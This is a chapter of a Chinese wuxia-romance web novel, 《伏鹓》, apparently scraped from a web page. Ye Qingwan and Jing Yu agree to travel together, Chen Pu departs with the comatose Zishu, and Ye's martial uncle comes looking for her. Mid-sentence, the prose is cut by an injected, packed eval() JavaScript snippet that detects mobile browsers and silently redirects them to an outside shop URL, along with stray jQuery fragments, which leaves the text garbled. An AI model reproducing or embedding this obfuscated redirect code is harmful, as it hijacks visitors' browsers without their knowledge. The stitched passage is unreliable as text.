15.第十五章
作品:《伏鹓》 湖不大,胜在湖水清澈明净,半边云霞在天,倒影着波光粼粼的瑰丽。
陈璞的伤已无大碍,之后无需叶清晚看顾,澧阳事了,她过几日也该启程了。心中这么想着,便也这么说了出来。
景煜闻言倒不意外,只问:“接下来打算去哪儿?”
“先去归州。”
若按陈璞所说,总归是要先往北的。
景煜略一思忖,“既如此,我与你一道。”
察觉到睇来的目光,他笑着解释:“紫舒如今昏迷不醒,我需得去一趟上京查她的籍册,归州是必经之地。”
叶清晚却停下步子,看向他的目光前所未有的认真。
“景煜。”
往日她总是客气疏离的一口一个“景公子”,这还是她第一次连名带姓地喊他。
“你到底是因为什么跟着我?”
她的神情很平静,没有不耐,也没有困惑,似乎只是在问一个普普通通的问题。
景煜亦看着她,片刻后缓缓笑了,“你发现了。”
“你本也没有刻意遮掩,想要不发现,很难。”
不论是他的突然出现,还是后来要跟着她的蹩脚理由,不过都是一个敢胡说,一个懒得计较罢了。
景煜收了玩笑神色,难得认真,“确实有一些因由,但我暂时不能说。”
叶清晚也不逼他,只拿起腰间系着的赤玉勾形佩问:“那些黑衣人是冲着它来的。你呢?你也是为它而来吗?”
景煜瞥都未瞥,“不是。”
叶清晚弯了下唇,“你果然是知道的。”
否认得那样笃定,丝毫不意外她会这样问,自然是知道这是什么东西。
她试了他一路,知道他对这东西没有企图心,便暂且信他说的是真话。
只是这样就更奇怪了。
“给我一个理由。”她道,“你总得有一个能说服我的理由。”
景煜叹了口气,似无奈又似妥协,“我只能告诉你,我现下在查一桩案子,这案子的背后,或许和你这块玉有关。”
“或许?”
“起初我并不确定,只是隐隐猜测,但如今看来……可能并不只有那一桩案子。”
叶清晚瞬间明白了,这一路上不论是私运生铁还是紫烟居灭门,都和那些来路不明的黑衣人有关,那些黑衣人觊觎她的玉佩,如此说来——
“你怀疑那桩案子背后也是那些黑衣人背后之人?”
这不是景煜第一次发现和叶清晚说话非常省事,话无须说尽,她便能立即明白他的意思。
他目露赞许,“不错。”
“是什么案子?”
“告诉你也无妨,约莫两年前,户部右侍郎方文礼被屠于家中,大理寺探查许久未果,最终以江湖仇杀草草定谳。”
叶清晚蹙眉,“朝廷命官被杀,就成了这么一个无头公案?”
景煜却道:“朝堂内势力盘根错节,这案子不了,免不得被人拿来做文章。且大理寺查的不错,方文礼被杀确实是江湖人的手笔,只是这背后蹊跷之处颇多,所以明面上虽定了案,暗地里却让人继续秘密追查。”
这个“人”,当是指景煜了。
“那你先前怎么知道那杀手和这玉佩有关?”叶清晚问。
景煜一时没说话,眸中微不可见的挣扎了一下。
他不知该如何开口。
“又不能说?”叶清晚轻哼了声,也不勉强,“算了。”
接着又道:“所以,你是朝廷的人。”
她语气肯定,景煜也没否认,“姑且算半个。”
也不知这半个是怎么算的。
这人一身秘密,叶清晚知道了自己想知道的,便也懒得再多问。
日头渐渐升高,愈发和暖。
景煜周身都覆了层融融的光,他看向叶清晚腰间,神色在晨光里辨不清楚,“这块玉佩于我无用,却是他人趋之若鹜的至宝,你日日将它戴在身上不加遮掩,是想以身为饵,引出你想找的人,对不对?”
叶清晚没说话,也没否认。
景煜继续道:“如今有人露了尾巴,你孤身一人应对终究危险,既然他们恰也是我要查的人,你我同行,互有裨益。”
他说的,不无道理。
敌人的敌人便是朋友,目前来看,他二人目标一致,两个人行事,总归比她单打独斗来得快些。
她本也不是纠结之人,思索片刻,点头应下:“也好。”
得到想要的答案,景煜眉梢微扬,露出一个满意的笑,叶清晚无言瞥他一眼,摇摇头,转身朝竹林的方向走去。
天际霞光印水,一青一白两道身影渐渐远去,衣袂翻飞,春风十里柔情。
-
五日转眼便过,到了叶清晚和景煜约好启程的日子。
叶清晚本就轻装简行,无甚好收拾。
至于景煜,这些琐事自也用不着他亲自操心——叶清晚看了眼在大门口默然备马的无衣,突然有些心疼他那一身本事。
一柄折扇忽然挡住视线,她敛眉看过去,只见景煜笑道:“你若是缺人手,我可以给你再派一个,但无衣不行,他还有别的任务。”
叶清晚觉得这人三不五时就要莫名其妙一回,眼风都没留给他,淡淡回了句:“不必。”
不多会儿陈璞便抱着紫舒走了出来。
陈璞的伤还未好全,叶清晚本劝他再养些时日,但紫舒一日不醒,陈璞便一日难安,执意要早些出发赶往沧云阁。
他将紫舒小心安置在马车内,这才折转回来。
不过十日,这个刚毅的男人仿佛一下苍老了许多岁,鬓边又添了风霜,那双炯炯的眼睛也失了神采,唯有目光依旧赤诚。
他郑重地朝二人一抱拳,“景公子叶姑娘的大恩,陈某铭感五内,日后二位若有用得着陈某的地方,陈某必赴汤蹈火以报。”
叶清晚也不与他客气,只是道:“以那些人的行事风格,若知晓你二人还活着,或许会再找机会出手,你们这一路需得多加当心。”
陈璞眉间也有凝色,点点头,“叶姑娘放心,我们会尽量遮掩身份。”
景煜看了眼无衣,后者会意,立刻从怀中取出一个锦袋递与陈璞。
“陈先生可将这个带上。”景煜道。
陈璞心中疑惑,打开锦袋一看,蓦地抬起头来,面上尽是诧异之色。
景煜拦下他要说的话,“若路上遇到困难,里面的东西可助先生找到我的人。先生也不必谢我,紫舒的命留着还有用,你可要护好了。”
陈璞眼底瞬间有些发胀,他用力一点头,又朝景煜郑重一揖,转身上车离去。
马车悠悠驶出街巷,景煜收回视线,这才发现叶清晚正用一种探究的目光看着自己,探究里还包含了些许兴味,极淡,却还是被他敏锐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124480|195677||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地捕捉到了。
叶清晚也不躲闪,“你倒是侠肝义胆。”
景煜笑了笑,“有人连世所罕见的归元丹都用上了,我总不能让这好不容易救活的命折在半途。”
叶清晚挑挑眉,没有反驳。
只听景煜又道:“你就没想过那颗药留着,或许哪天能救你自己的命?”
“你也说了是或许,或许未来有一天我会性命垂危,也或许这一辈子我都能平安无恙,谁又能说得准呢。”
她踱向无衣替她备好的马,抚了抚马儿白色的鬃毛,“师父教我医术,我虽学得不精,却也知道济世救人乃医者本分。于我而言,未来虚无缥缈无可预知,不足以成为此刻见死不救的理由。”
她的声音自有一种清冷的质感,平静地说着这样一段话,就好似在说今日天气不错一般。
可这样的心性,天下又几人能有。
景煜眸光一动,只觉得心脏像是忽然被什么填满了一般,托着往上飘。
他说不出这是怎样的感受,陌生,却并不讨厌。
马儿打了个轻轻的响鼻,抚着马儿的人似又想到什么,露出一个柔和的笑来,“况且陈璞的命也是哥哥用归元丹救回来的,我怎可落于他之后。”
飘起来的心瞬间又沉了下去。
景煜垂下眸,敛了眼中情绪,许久才道:“你兄长,当是光风霁月之人。”
叶清晚不疑有他,轻轻“嗯”了声,眼角眉梢都染着笑意。
-
澧阳这处宅子乃是景煜的私宅,几人走后,自有下面的人负责打理。
先前无衣付给春桃的报酬绰绰有余,也无需结算工钱,她只将自己的东西收拾了个小小的包袱,便辞了管事的人出门往家走。
不料方走出十来步,就被人拦住了去路。
她疑惑地抬头看去,不由一愣。
拦住她的是位青年男子,面容如玉,气度沉稳如松,卓然而不宣,因此虽面相年轻,却叫人轻易不敢猜测其年龄。
声音也极为温和:“冒昧打扰,在下有一事想同姑娘打听。”
春桃眨眨眼,点了点头,“不打扰不打扰,你说。”
“方才见姑娘从那宅子出来,那里头可是住了一位姓叶的姑娘?”
竟是来打听叶姑娘的?
春桃因这人姿容而混沌的大脑陡然清醒三分,想起叶清晚浑身的伤,不由带了几分警惕,“你是谁?”
小姑娘心思单纯,虽未答,这个反应也足以说明他所言不假了。
褚怀之不以为忤,笑道:“我是她师叔,专为寻她而来。”
见春桃依旧将信将疑,又道:“姑娘若不信,可以代为转达,到时自然知道我说的是真是假。”
许是褚怀之看起来实在端方雅正,春桃犹豫半晌,还是老实说了:“你来晚了,叶姑娘今儿一大早就离开澧阳了。”
“离开了?”褚怀之一怔,“去了何处?”
春桃摇摇头,“这我就不清楚了,我就是来临时帮工的。”
说罢,见半条街外的烧饼铺子里她娘正探头朝这边望,连忙跟褚怀之告了辞,快步往家走去。
高大巍峨的府门紧闭,早不复前些日子的热闹。门前栽着一株槐树,白色的槐花缀满枝头,风吹落花瓣,簌簌落了褚怀之一身。
他脸上浮起一丝无奈。
这个阿晚,这是又跑去了哪里。

